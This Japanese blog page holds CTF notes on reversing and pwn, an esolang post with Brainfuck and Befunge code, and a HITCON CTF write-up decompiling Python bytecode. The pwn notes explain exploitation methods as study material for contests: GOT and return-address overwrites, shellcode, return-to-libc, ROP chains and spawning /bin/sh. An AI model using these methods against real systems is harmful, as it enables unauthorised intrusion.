Reversingとかpwnとかを解くときのメモ(かきかけ)
この記事はTSG Advent Calendar 2016 - AdventarとIS17er Advent Calendar 2016 - Adventarの2日目の記事として書かれたわけではなかったのですが、記事がないので埋めなきゃいけないのと、多分このままだと書きかけのままはてなの肥やしになってしまうので、エイヤと公開したものです。僕が学習するたびに適度に更新されるはずなので、たぶん永遠に書きかけです。
Reversing,pwnとは
CTFというセキュリティについての大会でよく使われる問題の区分です。主に実行ファイルの解析や、大会サーバ上で動いている実行ファイルに対する攻撃などを行う分野です。僕は駒場祭で文花帖を自動でやるやつをやっていましたが、そいういう感じのことをやります。
Webとかsteganoとかは解くのにエスパー力(ドメイン知識ともいう)が要ってつらいですが、それらに比べてエスパー問が少ない(気がする)ので僕は好きな分野です。
Reversing
実行ファイルが与えられるので、それの挙動を解析してくださいというもの。
パスワードを当てたり、ゲームの得点を改竄したり、遅いアルゴリズムを高速化したり、アンチリバーシング技術をかいくぐったりする。
アセンブリやバイナリを全部読めばたいてい解けますが、時間がかかりすぎるので、知識や観察を組み合わせつつすばやく解決する技術が要ってきます。(もしくは根性)
pwn
プログラムがサーバ上で動いているので、それに対して攻撃することにより、サーバ上にあるflag.txtを頑張って読み取ってくださいというもの。
バッファオーバーフローとか、フォーマットストリングバグとか、を起こしてしまうとやばいね、という話。
実際に動いているプログラムをばりばりぶっ壊せるので楽しい。(大会でやるから許されてしまうのであって、実世界で動いているものに対してやってしまうと不正指令電磁的なんとか*1に触れてしまうのでそこんとこは注意)
攻撃方法を思いつくには、たいていまず与えられた脆弱性のある実行ファイル(たいていx86かx64のelf)を解析しないといけないです。(たまにCのコードが与えられるものもある)Reversingの知識がある程度いるので、Reversingと並列にやっていきましょう。
Reversing
いかに手短にプログラムの挙動を把握するか、という問題。知識や観察力やエスパー力を頼りに素早く問題バイナリを解析していく。
例)
- 入出力対応から察するにROT13なのでは
- UUDDRLRLなのでBAとくるのでは
- 112358とあるのでフィボナッチ数の順に呼んでやればよいのでは (これはエスパーともいう)
ツール類
- IDA
つよい。32bitのexeとelfを解析してくれる。
動的解析ならこれ。pedaというpython拡張を入れるととても強くなるので入れましょう。
- Hopper
最近知った心強い味方。64bitのelfを投げると解析してくれる。(ただし無償版は30分で再起動する)
- Objdump
とりあえずかけておいてもよさそう。
逆コンパイル結果がだばだば出てくるので参考にするとよいです。あと.pltとか見たりする。
- OllyDbg
Windows動的解析ならとりあえずこれかな。
- x64dbg
64bitのときはこちらに投げたりした。まだあんまり使ったことなし。
- z3, angr
どちらもpythonのライブラリ。z3はSAT,SMTソルバであり、n次元連立方程式を解くときとかに投げる。angrは最近でてきたもので、パスワードチェックを通るようなパスワードを探索する、みたいなことをしたいときに制約式をがりがり立てて自動的に解いてくれる。使い方がちと難しいが強力な大鉈。
- dex2jar
- jd-gui
- ILSpy
それぞれ、dexの展開、jarの解析、.netの解析をやってくれる。ほかにもいろいろな形のバイナリが降ってくると思いますが、時々に応じてツールをフットワーク軽く使っていくとよいでしょう。
elfのセキュリティ機構たち
実行ファイルのセキュリティ機構[RELRO/SSP/Nxbit/ASLR/PIE] - Pwn De Ring
ここにまとまってますね...
大抵、ASRLとNXのみで、セットでPIEとかRELROがついてきたりする。
カナリー,もしくはSSP(Stack Smash Protect)
関数に入るときのebpのアドレスとか戻りアドレスとかが上書きされないようにする。
__stack_chk_fail とか言う文字列が入ってると、多分使ってる。
gs:0x14 とかからランダムな値を引っ張ってきてる。
ASLR
アドレス配置のランダム化、というやつ。ヒープ、スタック、共有ライブラリ、の位置がランダムになる。(ほかにも、.bssとかも動くらしい...?)
PIE
位置独立実行コードと呼ばれるやつ。.textが自由な位置に配置されるようになってるの。
ふつう、動的リンクするライブラリを呼び出すときには、一旦.pltみたいなやつに仲介してもらうわけですが、そうはせずに e8 fc ff ff ff みたいにしてる。
すなわち、 call rel -4 みたいになってるとこがあるので、そこをロードする際に、直接、ライブラリの関数のアドレスで上書きしていく。
ライブラリのほうはRELROとかないので、相対アドレスがちゃんとわかればちゃんと動く...(ハズ)
PIEがあるとむしろReversingのほうでだいぶ苦しむ。
RELRO
Relocation Read Only.
Partial と Fullがある。
Fullの場合、GOT(WindowsでいうIATみたいなの)を上書きできないようにする。
RELROとformat string attackによるリターンアドレス書き換え - ももいろテクノロジー
これとかですかね。
DEP,もしくはNXビット
ふつう、ヒープやスタック上にeipが飛ぶ、みたいな事案はないはずなので、ヒープやスタック上に実行コードが置かれてもそれを実行しないようにするため。.text以外にはXが立たないようになってることがあるやつ。Windowsではデフォ。最近のLinuxでもデフォ。
ascii armor
strcpyとかをするときには、\x00までしか読み込まれない。
なので、\x00を含むようなアドレスにライブラリをロードするようにすると、pwnする際に苦労する。(のだけれど、そういう場合に限ってFSBだったりgetsだったりwriteだったりを使っているのであんまり苦しんだ記憶がない)
pwnについて
今のところelfに対するpwnしか出くわしたことがないのでそれについて書きます。
確認すべきこと
Reversingのそれに加えて、
- checksecでどんなのがかかっているかを確認する。
- readelfで_fini_arrayがあるかを確認する。
- vmmapでrwxな領域があるかを確認する。
使うもの
reversingで使うやつのほかに。
僕はpythonで解法を書いたりしています。(cookieはrubyを推している)
https://github.com/satos---jp/ctf_tools
たいてい、この中の pwnscript.py を手元に落として、それからやってます。
- socat
手っ取り早くリモートの状況を再現したいときに叩く。僕は、コマンドを覚えていないので pwnscript.py からコピペして使えるようにしてます。
何をやっているかとかは、http://www.slideshare.net/bata_24/katagaitai-ctf-1-57598200 のP158あたりを読んでおくとよいです。
- nasm
シェルスクリプトを生成してくれる。毎回使い方を忘れるのでさっきのリポジトリ内の
https://github.com/satos---jp/ctf_tools/blob/master/x86-execve.s
を見ながら書いてます。
シェルスクリプトを書く際の注意点として、バグったら一旦Cで書いてみて、それのシステムコールの呼び方とちゃんと比較してみるとよいです。
- rp++
ROPをやる際にたいへん便利。
- metasploit
alphanumeric shellcode とかを生成してくれる。
システムコール
０から作るLinuxプログラム システムコールその１ ユーザープログラムからのシステムコール呼び出し
とかの中ほどに引数の説明がある。
x86とx64で呼び方とか引数の数とかがずいぶん変わっているので注意。
x64の場合、
syscall ()で呼ぶ。システムコール番号はrax。引数はrdi,rsi,rdx,r10 ...
知っておくとよいのは、たとえば、
- read write (メモリの読み書き)
- open (ファイルを開く)
- execve (プロセスの実行)
- pipe2 (ファイルディスクリプタをつなぎかえる。自前でsocket通信してるやつに対して使ったり。)
- mmap (実行可能なメモリを確保する)
ですかね。
書き換えるとこ
大抵のpwn問では、まず制御をどうにかして奪える状況にしてやる必要があります。(eipを奪うとかいう)
で、code部分はたいてい書き換え不能なので他の部分をどうにかしてやる必要があります。
スタック
おなじみ。ReturnAddressがあるので書き替えるとよい。ebpを書き換えてスタックをずらし、その後ReturnAddressをどうこうするのもある。
GOT
WindowsにおけるIATみたいなもの。外部ライブラリの参照をするのでここを書き換えた状態でlibcの関数を呼ぶとeipが奪える。
_fini_array
GOT的な場所が他にもあって、exit関数内で呼び出される関数テーブルというのがあり、そこを書き換えるとよい。
文字入出力について
入出力を溢れさせてたいてい書き換えるので、入出力関数の特性を知っておくとよい。
入力では、scanf, gets, fgets, read 、 出力では、printf, puts, fputs, write 、他に strcpy,strncpy とかですかね。
| 関数 | 書き込みが止まるもの |
|---|---|
| scanf | 水平タブ(0x9),改行(0xa),垂直タブ(0xb),改ページ(0xc),キャリッジリターン(0xd),スペース(0x20) |
| gets | 0xa |
| read | なし |
| printf | 0x0 |
| puts | 0x0 |
| write | なし |
| strcpy | 0x0 |
(手元のUbuntuで試した結果です)
入力は、どれもNULL文字と0xffはそのまま気にせず読み込むそうです。
ほかにも、s[10]; のとき、fgets(stdin,s,10); は問題ないが、 scanf("%10",s); や strncpy(s,t,10); ではoff_by_one エラーが起こるとか。
eipを奪った後
flagを表示してくれる関数、もしくはsystem("/bin/sh");みたいなのがあるとき
そこに飛ばせばよい。
NXビットが立ってないとき
自分のシェルコードを適当なとこに流し込んで、そこに飛ばすようにする。
シェルコード内では、system関数があればそれを呼ぶもよし、ないならexecveシステムコールを叩いて自前でやる。
自分のシェルコードがどこにあるか分からない(たとえばスタックのアドレスが不明)なら、まずebpとかをリークさせる。
また、流し込めるシェルコードの量が短いときは、一旦readとかを呼んで、後から追加でシェルコードを実行させる。(stagerという)
NXビットが立っているとき
自分の実行可能コードが流し込めないので、元からあるコードをパッチワーク的につなぐことによってどうにかする。『returnなんとか』とか『ほげほげoriented programming』とか呼ばれる技法はたいていこのあたりの話。
returnなんとか
return to libc
libcの関数を順々に呼んでいこう、というもの。
ふつう、関数が呼び出された直後のスタックというのは、
| return addr |
| arg0 |
| arg1 |
| ... |
となってるわけです。さて、関数からretする直前には、
| return addr |
| ... |
となって、pop eip されることにより return addrに飛ぶわけですが、オーバーフローさせることにより、たとえば
| gotにあるsystemのアドレス |
| piyo |
| arg1 |
| arg2 |
| ... |
としてやると、system関数の先頭で、
| piyo |
| arg1 |
| arg2 |
| ... |
となっているので、あたかもアドレスpiyoから関数が呼ばれたかのように見えます。
return oriented programming
ROPとよばれるやつ。
先ほどの状況では関数は1つしか呼べないので、たとえばfopenしたあとwriteみたいなことはできません。そこで、ROPガジェットというやつを利用します。
たいてい、関数がretする直前ではいろいろスタックに退避していた値をレジスタにpopします。すなわち
| 0x8048060 | pop ebx |
|---|---|
| 0x8048061 | pop ebp |
| 0x8048062 | ret |
みたいなことになっているアドレスがあったりするので、例えば、
| gotにあるputsのアドレス |
| 0x8048061 |
| putsで表示したいアドレス |
| gotにある(ry |
| ... |
としてやると、
puts(putsで表示したいアドレス);
が実行された後、putsからretするときに
| 0x8048061 |
| putsで表示したいアドレス |
| gotにある(ry |
| ... |
となり、pop ebp後に
| gotにある(ry |
| ... |
となるので、関数呼び出しが連鎖していきます。こういうのをROPといいます。
以降かきかけ。
大嘘を書いてる可能性があるので気付いたらマサカリを投げてください。
参考
- http://www.slideshare.net/bata_24/presentations katagaitaiとかの勉強会の資料。量多めですがとりあえず目を通しておくとよさそう。
- ももいろテクノロジー いつもお世話になっております。
- pwn challenges list - Pastebin.com bataさんのpwn問集。(といっても僕は常設埋めのほうをやってるけど...)
- 常設のやつ
みなさんご存知といった感じ。
韓国の。むずい。
最近主に埋めてる。pwn問がたくさんあるのでありがたい。
- O'Reilly Japan - Hacking：美しき策謀 第2版
- セキュリティコンテストチャレンジブック | マイナビブックス
- リバースエンジニアリングバイブル ～コード再創造の美学～ - インプレスブックス
なんか似たような本紹介をこないだも部誌でやった気がしますね...
*1:家庭用事件 - 似鳥鶏｜東京創元社 よいシリーズです。
esolangを書く
この記事はTSG Advent Calendar 2016 - AdventarとIS17er Advent Calendar 2016 - Adventarの1日目の記事として書かれました。
どちらもまだわりとすっかすかですが完走できるんでしょうか....
先日のTSGのハッカソンでesolang大会が突発的に発生したので、それによって生えたコードを紹介していきます。
esolangとは
1つ忘れてました！ 教室の壁には先日のesolang陣取り大会で部員が作成したesolangのソースコードを展示しています。Brainf**kやRailは力作です！ぜひご覧ください。 pic.twitter.com/WLiAKp1zib
— TSG@駒場祭516 (@tsg_ut) November 27, 2016
これです。
Esolang, the esoteric programming languages wiki
Wikiがあるので、そこのHello World一覧(Hello world program in esoteric languages - Esolang)を眺めるとよいでしょう。
いろいろな見た目のものがありますが、どれも共通しているのは、非実用的な目的で設計されている言語だということです。
問題
esolang陣取り大会のルールは簡単、「100桁の2進数を10進数に変換するプログラム」を指定された言語で書くと陣地をゲットできます。現在6つの言語がTSG部員の手に落ちました。 pic.twitter.com/voEVTBlq5U
— TSG@駒場祭516 (@tsg_ut) November 20, 2016
solang陣取り大会の続報です。現在TSG部員の無駄な努力によって、100言語中48言語が制覇されました。だいぶ賑やかになってきましたね。あと52言語！ pic.twitter.com/34eIcZfNBJ
— TSG@駒場祭516 (@tsg_ut) November 28, 2016
これです。現在100言語中だいたい半分が制覇されています。
言語についての説明はいろいろと良い資料が落ちているのでそれをぐぐってください。
解法
たとえば、pythonとかの多倍長整数をサポートしていてつよい言語は、
print int(raw_input(),2)
とでも書けば解けてしまいます。
esolangの中でも、極端に短く書けることを目標に設計された言語などは、多倍長や基数変換機能があったりするので、さっと解けます。
で、多倍長整数のないCなどは、たとえば以下のようにして変換することになります。
int a[100]; for(int i=0; i<35; i++){ a[i]=0; } for(int k=0;k<100;k++){ for(int i=34; i>=0; i--){ a[i] *= 2; if(a[i]>=10){ a[i+1]++; a[i] -= 10; } } if(getchar()%2)a[0]+=1; } for(int i=35; i>=0; i--){ putchar('0'+a[i]); }
このアルゴリズムはわりと汎用性が高いので、これをもとにして解いていくことにします。
Brainf*ck
みんな大好きBFです。命令が8個だけと少ないわりに書きやすいのが魅力的ですね。
コード
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [< < <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]> >,------------------------------------------------[<+>-] >-] <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++++++++++++++++++++++++++++++++++++++++++++.>>
生成したpythonコードのほうが読みやすいのでそれを載せます。
#coding: utf-8 t = 100 d = 35 mod = 10 print '>' * d * 3 print '+' * t #初期化 print '[<' print '<' print '<' * 2 * d s = '>>[<++>-]<' s += '[->+<' * (mod-1) #内側に入るならば10より多い。そうでないなら引く。 s += '[-<+> >[-]<[->+<]]' s += ']' * (mod-1) s += '''> ''' print s * d print '>,' + '-' * ord('0') + '[<+>-]' print ''' >-] ''' #以降出力 print '<' * d * 2 print d * ('+' * ord('0') + '.' + '>>')
解説
BFは実装によって、メモリの上限値がなかったり256だったりします。多倍長だと2倍していくだけでうまくいってよいのですが、今回は256が上限だったので、Cと同様の方法をとることにします。
今回、メモリの配置のイメージとしては、
| ... | a[35] | 0 | a[34] | 0 | ...... | a[1] | 0 | a[0] | 0 | k(カウンタ) | ... |
|---|
みたいな感じにしました。以降、色のついたマスが現在のポインタの位置と思ってください。
まず、for文
for(int k=0;k<100;k++){ ほげふが }
は、
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ [< ほげふが >-]
によって実現できます。
で、まず
for(int i=34; i>=0; i--){ a[i] *= 2; if(a[i]>=10){ a[i+1]++; a[i] -= 10; } }
ですが、今回は面倒だったので、似たような文を34回繰り返すことにしました。
各ループ内の
a[i] *= 2; if(a[i]>=10){ a[i+1]++; a[i] -= 10; }
に対応するのは、
>>[<++>-]<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
です。まず、この部分の実行直前には、
| ...... | a[i+1] | 0 | a[i] | 0 | ...... |
|---|
となっています。で、
>>[<++>-]<
によって、
| ...... | a[i+1] | a[i]*2 | 0 | 0 | ...... |
|---|
となります。
さて、if(a[i]>=10)の部分ですが、僕は愚直に
[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[-<+> >[-]<[->+<]]]]]]]]]]]>
とすることにしました。
まず、a[i]*2が10以下、たとえば4の場合は、
[->+<[->+<[->+<[->+<[
この時点で、メモリは
| ...... | a[i+1] | 0 | 4 | 0 | ...... |
|---|
となっているので、その後の[より内側は飛ばされ、結局 > のみが実行されて
| ...... | a[i+1] | 0 | 4 | 0 | ...... |
|---|
となり、うまいこと次のiに移っていきます。
また、a[i]*2が10以上のときは、
[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[->+<[
まで、一度もメモリが0にならずに実行されます。このとき、メモリは
| ...... | a[i+1] | a[i]*2 - 9 | 9 | 0 | ...... |
|---|
となっています。で、その後、
-<+> >[-]
で
| ...... | a[i+1]+1 | a[i]*2-10 | 0 | 0 | ...... |
|---|
となり、
<[->+<]
で
| ...... | a[i+1]+1 | 0 | a[i]*2-10 | 0 | ...... |
|---|
となります。この時点で、指しているところは必ず0なので、あとはがりがり脱出していき、最終的に
]]]]]]]]]]>
で
| ...... | a[i+1]+1 | 0 | a[i]*2-10 | 0 | ...... |
|---|
となり、うまいことうまいこと次のiに移っていきます。
あとやるべきことは入出力くらいで、
>,------------------------------------------------[<+>-]
によって
a[0]+=getchar()-'0';
を、
++++++++++++++++++++++++++++++++++++++++++++++++.>>
を35回繰り返すことによって
putchar('0'+a[i]);
をやっています。
Befunge
2次元プログラミング言語の中でも有名なやつです。プログラムサイズが80*25に制限されているのでうまいことそこに収める必要があります。
これも整数の実装が多倍長でなかったので、Cと同様にやっていきます。
コード
v
v >:\0\0pv >:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv
>75*>:| >75*>:| >:66*\-0g"0"+,v
>25*:* >:| >~"0"-75*0g+75*0pv >75*>:|
^ - 1< > ^ > @
^ - 1 <
^ -1 $ < ^ -1 < こんな感じです。お絵かきですね。
何も知らなくても、最初は左上隅に実行ポインタがあって、^v<>で実行の向きが変わる、ということを知っていればなんとなくどう実行されるか推測がつくのではないでしょうか。
解説
見たまんまです...といってもあれなので説明します。
Befungeはのメモリはスタックのみであり、スタックに対するランダムアクセス命令もないので、一見Cのように書くことができないかと思いますが、実はBefungeは自分のソースコードを読み込んだり書き換えたりすることができるので、(pで書き込み、gで読み込み)これを用いてソースコードの0行目を配列がわりに用いています。また(1,1)の座標のものをカウンタiとして用いています。
v
v >:\0\0pv
>75*>:|
>25*:* >
^ - 1< まず、この部分で、0行目の35(7*5)か所分を0で初期化しています。
条件分岐は | で行うことができ、非0なら上、0なら下に実行の向きが変わるので、35個分初期化したら100((2*5)^2)をスタックに積んで次の部分へ行きます。
>:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv
>75*>:| >:66*\-0g"0"+,v
>:| >~"0"-75*0g+75*0pv >75*>:|
> ^ > @
^ - 1 <
^ -1 $ < ^ -1 < 本体はここです。
for(int k=0;k<100;k++){ for(int i=34; i>=0; i--){ a[i] *= 2; if(a[i]>=10){ a[i+1]++; a[i] -= 10; } } if(getchar()%2)a[0]+=1; }
は、
>:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv
>75*>:|
>:| >~"0"-75*0g+75*0pv
>
^ - 1 <
^ -1 $ < でやっていきます。
for(int i=34; i>=0; i--){ a[i] *= 2; if(a[i]>=10){ a[i+1]++; a[i] -= 10; } }
は
>:66*\-:11p0g2*:9`11g1-0g+11g1-0p25*%11g0pv
75*>:|
>
^ - 1 < ですね。今回はBFに比べてわりと直観的に書けます(メモリからの読み出しと書き込みが面倒ですが)
で、外の部分
for(int k=0;k<100;k++){ if(getchar()%2)a[0]+=1; }
は、
>75*>:|
>:| >~"0"-75*0g+75*0pv
>
^ -1 $ < ですね。
で、後は35個分の値を、
>:66*\-0g"0"+,v
>75*>:|
^ > @
^ -1 < で出力していきます。
HITCON CTF 2016 Quals の Writeup
TSGの面々(cookies,dai,hakatashi,moratorium,satos,yamaguchi)で参加してました。(土曜は各々の自宅で、日曜は集まって1徹夜で)
1550点で38位でした。
自分が関わった問題について
Handcrafted pyc
pythonのバイトコードが与えられるので、デコンパイルして読め、という問題。
dis というライブラリがあるとのことで、それでデコンパイルする。
#!/usr/bin/env python # -*- coding: utf-8 -*- import marshal, zlib, base64 bbx = base64.b64decode('eJyNVktv00AQXm/eL0igiaFA01IO4cIVCUGFBBJwqRAckLhEIQmtRfPwI0QIeio/hRO/hJ/CiStH2M/prj07diGRP43Hs9+MZ2fWMxbnP6mux+oK9xVMHPFViLdCTB0xkeKDFEFfTIU4E8KZq8dCvB4UlN3hGEsdddXU9QTLv1eFiGKGM4cKUgsFCNLFH7dFrS9poayFYmIZm1b0gyqxMOwJaU3r6xs9sW1ooakXuRv+un7Q0sIlLVzOCZq/XtsK2oTSYaZlStogXi1HV0iazoN2CV2HZeXqRQ54TlJRb7FUlKyUatISsdzo+P7UU1Gb1POdMruckepGwk9tIXQTftz2yBaT5JQovWvpSa6poJPuqgao+b9l5Aj/R+mLQIP4f6Q8Vb3g/5TB/TJxWGdZr9EQrmn99fwKtTvAZGU7wzS7GNpZpDm2JgCrr8wrmPoo54UqGampFIeS9ojXjc4E2yI06bq/4DRoUAc0nVnng4k6p7Ks0+j/S8z9V+NZ5dhmrJUM/y7JTJeRtnJ2TSYJvsFq3CQt/vnfqmQXt5KlpuRcIvDAmhnn2E0t9BJ3SvB/SfLWhuOWNiNVZ+h28g4wlwUp00w95si43rZ3r6+fUIEdgOZbQAsyFRRvBR6dla8KCzRdslar7WS+a5HFb39peIAmG7uZTHVm17Czxju4m6bayz8e7J40DzqM0jr0bmv9PmPvk6y5z57HU8wdTDHeiUJvBMAM4+0CpoAZ4BPgJeAYEAHmgAUgAHiAj4AVAGORtwd4AVgC3gEmgBBwCPgMWANOAQ8AbwBHgHuAp4D3gLuARwoGmNUizF/j4yDC5BWM1kNvvlxFA8xikRrBxHIUhutFMBlgQoshhPphGAXe/OggKqqb2cibxwuEXjUcQjccxi5eFRL1fDSbKrUhy2CMb2aLyepkegDWsBwPlrVC0/kLHmeCBQ==') bx = zlib.decompress(bbx) x = marshal.loads(bx) print 'valname .. ' ,x.co_varnames print 'const .. ' ,x.co_consts print 'const .. ' ,x.co_consts[1].co_varnames print 'const .. ' ,x.co_consts[1].co_consts import dis print dis.disassemble(x) print dis.dis(x.co_consts[1])
と、中にmainという関数があり、その中で、
1 0 LOAD_GLOBAL 0 (chr)
3 LOAD_CONST 1 (108)
6 CALL_FUNCTION 1
9 LOAD_GLOBAL 0 (chr)
...中略...
722 LOAD_CONST 18 (33)
725 CALL_FUNCTION 1
728 ROT_TWO
729 BINARY_ADD
730 ROT_TWO
731 BINARY_ADD
732 BINARY_ADD
733 BINARY_ADD
734 BINARY_ADD
735 BINARY_ADD
736 BINARY_ADD
737 LOAD_CONST 0 (None)
740 NOP
741 JUMP_ABSOLUTE 759
>> 744 LOAD_GLOBAL 1 (raw_input)
747 JUMP_ABSOLUTE 1480
>> 750 LOAD_FAST 0 (password)
753 COMPARE_OP 2 (==)
756 JUMP_ABSOLUTE 767
>> 759 ROT_TWO
760 STORE_FAST 0 (password)
763 POP_TOP
764 JUMP_ABSOLUTE 744
>> 767 POP_JUMP_IF_FALSE 1591
770 LOAD_GLOBAL 0 (chr)
773 LOAD_CONST 17 (99)
776 CALL_FUNCTION 1
779 LOAD_GLOBAL 0 (chr)
782 LOAD_CONST 10 (116)
みたいになっている。
スタックに物を積んだり連結したりしてるようなので、適当にエミュレータもどきを書いてやる。
